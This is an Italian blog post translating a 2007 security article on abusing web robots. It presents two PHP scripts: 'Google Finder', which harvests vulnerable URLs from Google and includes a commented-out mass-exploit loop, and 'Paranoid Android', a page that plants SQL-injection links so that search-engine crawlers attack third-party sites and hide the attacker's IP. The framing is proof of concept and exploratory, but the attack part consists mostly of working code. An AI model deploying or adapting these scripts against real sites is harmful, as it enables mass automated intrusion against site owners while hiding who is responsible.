Leaf Geek

Leaf Geek

I, Bot: Taking advantage of robots power. Traduzione in italiano.

{ 07:17 PM, 07.15.2007 } { Inviato in Programmazione } { 2 commenti } { Link }
Dato alcune richieste che mi sono state fatte da lettori e amici ho deciso di tradurre in italiano
l'articolo che scrissi per playhack.net ed in seguito pubblicato su securityfocus:
"I, Bot: Taking advantage of robots power."

L'articolo non è complesso, ma è molto interessante perchè evidenzia i possibili sviluppi futuri di
tecnologie autonome molto potenti, i bot del web, e in particolare alcuni modi di sfruttare gli spider
dei motori di ricerca, anche per exploiting molto dannosi.
Il tutto è proof-of-concept ma include anche script per possibili utilizzi delle tecniche riportate.

L'articolo originare è reperibile su:
http://www.securityfocus.com/archive/1/468723/30/0/threaded
http://www.playhack.net



-[ SOMMARIO ]---
0x00: Intro, let's start
0x01: Abstract
0x02: Implementation
0x03: The code: Paranoid Android
0x04: The End...


---[ 0x00: Intro, let's start ]
Salve a tutti. Scusate la mia poca conoscenza dell'inglese ma non è la mia lingua
madre. Spero quindi che perdonerete eventuali errori...
Questo documento vuole essere una risposta per completare e implementare nella realtà le
idee di Michal Zalewski in un articolo di Phrack.
Lui per primo ha ipotizzato la possibilità di trarre vantaggio dalla moltitudine di robot che in ogni
momento percorrono il web alla ricerca di informazioni.
Prima di cominciare con la trattazione vi riporto l'introduzione dell'articolo di Zalewski (purtroppo
non tradotta in italiano) per farvi comprendere la finalità dell'articolo e delle informazioni esposte.
"Consider a remote exploit that is able to compromise a remote system
without sending any attack code to his victim. Consider an exploit
which simply creates local file to compromise thousands of computers,
and which does not involve any local resources in the attack. Welcome to
the world of zero-effort exploit techniques. Welcome to the world of
automation, welcome to the world of anonymous, dramatically difficult
to stop attacks resulting from increasing Internet complexity.

Zero-effort exploits create their 'wishlist', and leave it somewhere
in cyberspace - can be even its home host, in the place where others
can find it. Others - Internet workers  - hundreds
of never sleeping, endlessly browsing information crawlers, intelligent
agents, search engines... They come to pick this information, and -
unknowingly - to attack victims. You can stop one of them, but can't
stop them all. You can find out what their orders are, but you can't
guess what these orders will be tomorrow, hidden somewhere in the abyss
of not yet explored cyberspace.

Your private army, close at hand, picking orders you left for them
on their way. You exploit them without having to compromise them. They
do what they are designed for, and they do their best to accomplish it.
Welcome to the new reality, where our A.I. machines can rise against us."

Ora vedremo se tutto questo è possibile nella realtà ...


---[ 0x01: Abstract ]
L'idea che i motori di ricerca (primo fra tutti Google) possono essere trasformati in armi potenti
nelle mani di crackers non è nuova.
Google hacking, search dork, cache digging, sono tutte tecniche che permettono di sfruttare
una minima parte della reale potenza dei motori, ma poche persone, almeno da quanto ho visto
finora, hanno pensato o sanno come trarre vantaggio dal loro più versatile e potente componente:
il robot (Nota: intendo lo spider o crawler).
Lo scopo dell'articolo e proprio quello di introdurvi a quest'ottica...

Il robot che analizzeremo, ma anche come tipologia più generale, è una programma che
autonomamente analizza e percorre la struttura degli ipertesti reperiti nel web e ricorsivamente
visualizza e indicizza tutti i documenti che sono in essa referenziati.
Nb: Quando diciamo ricorsivamente ci riferiamo a procedure che in modo euristico analizzano
il DOM delle pagine per indicizzarlo e reperire altri collegamenti.

I normari browser web non sono quindi robot, sebbene le loro azioni siano simili, perchè sono
manovrati da esseri umani e non richiamano automaticamenti tutti i documenti puntati da
pagine visitate. (Proprio per questo è possibile distinguere il comportamento di un browser da
quello di un robot e questo potrebbe portare in futuro a contromisure più efficaci...)

Ci si riferisce spesso alla tipologia di robot che stiamo analizzando, con i nomi di "spider" o
"crawler". Questi nomi tuttavia possono far pensare a qualche genere di organismo dannoso, come
virus o worm, mentre questo non è vero. Questi robot svolgono semplicemente il compito
di indicizzare le pagine per i motori di ricerca, niente di dannoso quindi se utilizzati nel modo
corretto.

In particolare le loro funzioni sono quelle di:
- Indicizzazione
- Validazione HTML
- Validazione dei Link
- Rilevazione di cambiamenti
- Mirroring

Quanti robot circolano per il web?
Per avere una panoramica completa è possibile visitare l'archivio dei robots:
http://www.robotstxt.org/wc/active/html/type.html
Noi tuttavia non andremo altre questa semplice introduzione ai bot, in quanto non è questo lo scopo
dell'articolo. Qualora il proseguimento della lettura fosse difficoltoso per alcuni è possibile
approfondire con semplici ricerche, magari su wikipedia...


---[ 0x02: Implementation ]
Quali sono i punti di forza di un bot?
Sicuramente la velocità, l'abilità di eseguire autonomamente un gran numero di operazioni di
ricerca in poco tempo...

Per un mass exploiting, ad esempio, possiamo con un semplice script scrivere un bot con
funzioni simili a quelle di uno spider, o sfuttare le informazioni contenute già indicizzate,
contenute nel database di un motore di ricerca.
In questo modo il nostro robot potrebbe portare a termine un attacco di massa con vulnerabilità
web senza sprecare tempo in migliaia di bersagli inutili.

Un prima, e innoqua, implementazione e questo script. Ricerca le informazioni in un motore
di ricerca come google (o qualunque preferiate) e crea un array con gli indirizzi dei siti
che presentano determinate pagine. Un piccola aggiunta (un esempio è contenuto nel
secondo script) e il bot potrebbe eseguire un exploit automaticamente su tutti i bersagli trovati.
Anche con una bassa percentuale di successo, sarebbe comunque un arma potente...
!/usr/bin/php

echo "
--- Google Finder ---
Automatic SaE (search-and-exploit) Bot
by Crossbower
";

if ($argc<2) {
echo "Usage: ".$argv[0]."
Example:
".$argv[0]." /script/vuln.php?cmd= 30";
die;
}

//Init...
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$proxy_regex = '(d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5})';


function SendPack($packet) {
global $proxy, $host, $port, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
} else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy... ";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$buffer='';
while (!feof($ock)) {
$buffer.=fgets($ock);
}
} else {
$buffer='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$buffer))) {
$buffer.=fread($ock,1);
}
}
fclose($ock);
return($buffer);
}

//Global variables
$host="www.google.com"; //Our vulnerability database ;)
$path=$argv[1]; //String
$port=80; //Port (Web)
$proxy=""; //For your proxy
$html; //Buffer for result

//Google variables
$SeInurl="/search?q=inurl%3A"; //Search inurl
$SeType="&btnG=Search"; //Search type
if ($argv[2]) $SeNumber="&num=".$argv[2];
else $SeNumber="&num=20"; //Number of result

if ($path[0]<>'/') {print("*warning: string must begin with '/' ");}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

//$path=urlencode($path); //Url encoding


echo "1: Find Targets... ";
//Google's inurl search (example):
//http://www.google.com/search?q=inurl%3A%2Fscript%2Fvuln.php%3Fcmd%3D&num=30&btnG=Search

/* Make and Send Query */
$packet ="GET ".$SeInurl.$path.$SeNumber.$SeType." HTTP/1.0 ";
$packet.="Host: ".$host." ";
$packet.="Connection: Close ";
$html=SendPack($packet);

/* Find targets urls */
preg_match_all('#((((ht|f)tps?://)|(www|ftp).)[a-zA-Z0-9.#@:%&_/?=~-]+)#e',$html, $match);
for ($i=0; $i
if (strstr($match[1][$i],$path) && !strstr($match[1][$i],"google") && !strstr($match[1][$i],"cache"))
echo $match[1][$i]." ";


/* This code is for exploiting targets. It's Prof of Concept and it isn't complete.
Don't use for laming

$ExplString="?var=" //String for exploiting. Good for sql injection.

for ($i=0; $i
if (strstr($match[1][$i],$path) && !strstr($match[1][$i],"google") && !strstr($match[1][$i],"cache"))
{
$host=$match[1][$i];

// Make and Send Exploit
$packet ="GET ".$match[1][$i].$ExplString." HTTP/1.0 ";
$packet.="Host: ".$host." ";
$packet.="Connection: Close ";

$buffer=SendPack($packet);

if (strstr($buffer,$success)) //If the result is positive
// Print result
echo $buffer;
}
*/

?>

---[ 0x03: The code: Paranoid Android ]
Ora proveremo a implementare un robot differente. Uno script che permette, in un modo veramente
nuovo, di sfruttare i crawler dei motori di ricerca.

Allora, le operazioni svolte dai crawler sono semplici:
In generale, partono con una lista di URL già precedentemente analizzati, chiamata "seed".
Visitando questi indirizzi il bot identifica tutti gli hyperlink in essi contenuti e li aggiunge alla
lista dei nuovi URL da visitare, chiamata la
"crawl frontier".
Gli URL di questa "frontiera" sono quindi visitati e analizzati secondo un set di policies.

Come potete vedere, il tragitto di un crawler e le sue operazioni, dipendono fortemente dal
contenuto delle pagine visitate, che possino lanciarlo nelle più diverse direzioni.
Adesso chiediamoci:quanto può essere sicuro questo metodo di ricerca?

Supponiamo che lo spider visiti una pagina contenente un exploit contenuto in un link,
(ad esempio una SQL injection, o in modo più subdolo un xss per alterare i risultati delle
ricerche...), che richiama un certo numero di pagine di altri siti.
Cosa succederà? (so già che state sorridendo...)

Ebbene lo spider visiterà le pagine exploitandole e salverà i risultati nel database del motore di
ricerca. Non è fantastico?

E nei log dei server quale IP rimarrà? Naturalmente quello del motore di ricerca, cosa che rende
molto difficile per l'amministratore risalire all'IP del vero colpevole: sia per la mole di siti visitati ogni
giorno dagli spider, sia perchè cosa dovrebbe pensare l'amministratore che si vede bucare il sito
da google?
In ogni caso, anche risalendo all'IP originale e alla pagina da cui è partito il tutto, il cracker
può sempre utilizzare proxy per pubblicarla. Veramente un giro infernale...

Ora, siccome un codice è meglio di cento parole, ecco il robot da me sviluppato
(sebbene veramente poco testato, perdonatemi per questo) per fare tutto quello che abbiamo
descritto qui sopra. E' funzionante, ma va inserito in una pagina web, in quanto non gli ho fatto
generare tag che potessero danneggiare il suo funzionamento in pagine già predisposte.
La lettura sarà senz'altro più esplicativa di una descrizione, e se conoscete un po' di PHP
non avrete nessun problema. Ripeto comunque che è ancora da testare correttamente
(e se sembrasse funzionare in modo strano è possibile recuperare il sorgente integro dalle
fonti indicate all'inizio del post, non deturpate da eventuali interpretazioni del codice html di
questa pagina)

Ecco a voi Paranoid Android:

//CONFIGURATION OF THE BOT:

//Main settings
$string="vuln.php"; //Define the url or the vulnerabilities to try
$exploit="?a='SQL"; //Define the exploit for the vulnerabilities
$LogFile="BotLog.html"; //Log file

//Global variables
$host="www.google.com"; //Our vulnerability database ;)
$port=80; //Port (Web)
$html; //Buffer for result

//Google variables
$SeInurl="/search?q=inurl%3A"; //Search inurl
$SeCache="/search?q=cache%3A"; //Search cache
$SeType="&btnG=Search"; //Search type
$SeNumber="&num=5"; //Number of result

/*
Google's inurl search (example):
http://www.google.com/search?q=inurl%3A%2Fscript%2Fvuln.php%3Fcmd%3D&num=30&btnG=Search
*/

//$string=urlencode($string); //Url encoding

//CONFIGURATION END

echo "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
--- PARANOID ANDROID ---
&nbsp;

Automatic SaE (search-and-exploit) Bot
&nbsp;&nbsp;

by Crossbower Crossbower*katamail*com





";


//Loading...
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function SendPack($packet)
{
global $host, $port;

$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}

fputs($ock,$packet);

$buffer='';
while (!feof($ock)) {
$buffer.=fgets($ock);
}

fclose($ock);
return($buffer);
}


//START:
/* Make and Send Query */
$packet ="GET ".$SeInurl.$string.$SeNumber.$SeType." HTTP/1.0 ";
$packet.="Host: ".$host." ";
$packet.="Connection: Close ";

$html=SendPack($packet);

//Open log file
$handle =fopen($LogFile,'a');

//Inizialize the log
fwrite($handle," # ".date("D dS M, Y h:i a :")."

");

fwrite($handle,"Visited by:
");


$Spider =$REMOTE_HOST."
".$REMOTE_ADDR."
";

$Spider.=$HTTP_USER_AGENT."
".$HTTP_REFERER."
";

$Spider.=$HTTP_ACCEPT_LANGUAGE."

";


fwrite($handle,$Spider);
fwrite($handle,"Links (google cache):
");


$Log ="
$Log.="http://".$host.$SeCache;


//Find targets
preg_match_all('#((((ht|f)tps?://)|(www|ftp).)[a-zA-Z0-9.#@:%&_/?=~-]+)#e',$html, $match);

for ($i=0; $i
//Select the result:
if ( strstr($match[1][$i],$string) &&
!strstr($match[1][$i],"google") &&
!strstr($match[1][$i],"cache"))
{
echo "
".$match[1][$i].$exploit."
";


//Update log
fwrite($handle,$Log.$match[1][$i].$exploit."">".$match[1][$i].$exploit."
");

}
}

//Close log
fwrite($handle,"

");

fclose($handle);

?>

---[ 0x06: Conclusion ]
Spero che queste informazioni abbiano potuto stuzzicare la vostra fantasia e aprire la vostra
mente verso la possibile evoluzione degli attacchi basati su robot in futuro...

Ecco alcuni documenti di approfondimento:

- "Against the System: Rise of the Robots" by Michal Zalewski
http://www.phrack.org/archives/57/p57-0x13

- "The Anatomy of a Large-Scale Hypertextual Web Search Engine"
Googlebot concept, Sergey Brin, Lawrence Page, Stanford University
http://www7.scu.edu.au/programme/fullpapers/1921/com1921.htm

- Proprietary web solutions security, Michal Zalewski
http://lcamtuf.coredump.cx/milpap.txt

- "A Standard for Robot Exclusion", Martijn Koster
http://info.webcrawler.com/mak/projects/robots/norobots.html

- "The Web Robots Database"
http://www.robotstxt.org/wc/active.html
http://www.robotstxt.org/wc/active/html/type.html

- "Web Security FAQ", Lincoln D. Stein
http://www.w3.org/Security/Faq/www-security-faq.html



Ok è tutto gente. Per chiarimenti, opinioni e eventualmente "insulti" (spero moderati ) postate
quanti commenti volete.



{ Last Page } { Page 1 of 5 } { Next Page }

La mia foto

Home
Il mio profilo
Archivi
Amici

Citazione

"Coloro che sognano di giorno sanno molte cose che sfuggono a coloro che sognano di notte soltanto."
Edgar Allan Poe

«  January 2012  »
MonTueWedThuFriSatSun
 1
2345678
9101112131415
16171819202122
23242526272829
3031 

Categorie

Progetti (Completati)
Progetti (Incompleti)
Linux
Solaris
Other OS
Pensieri
Altro
Programmazione

Contenuti recenti

I, Bot: Taking advantage of robots power. Traduzione in italiano.
DTrace e Solaris 10
Come scrivere programmi incomprensibili
Zen e Arte della Programmazione
Logging in...

Links

Storie dalla Sala Macchine
Blog di Andrea Lazzarotto
Blog Jonathan Schwartz, Sun Microsystem President (Lingua italiana)
Ziobudda.net News

Amici

Banners


Statistiche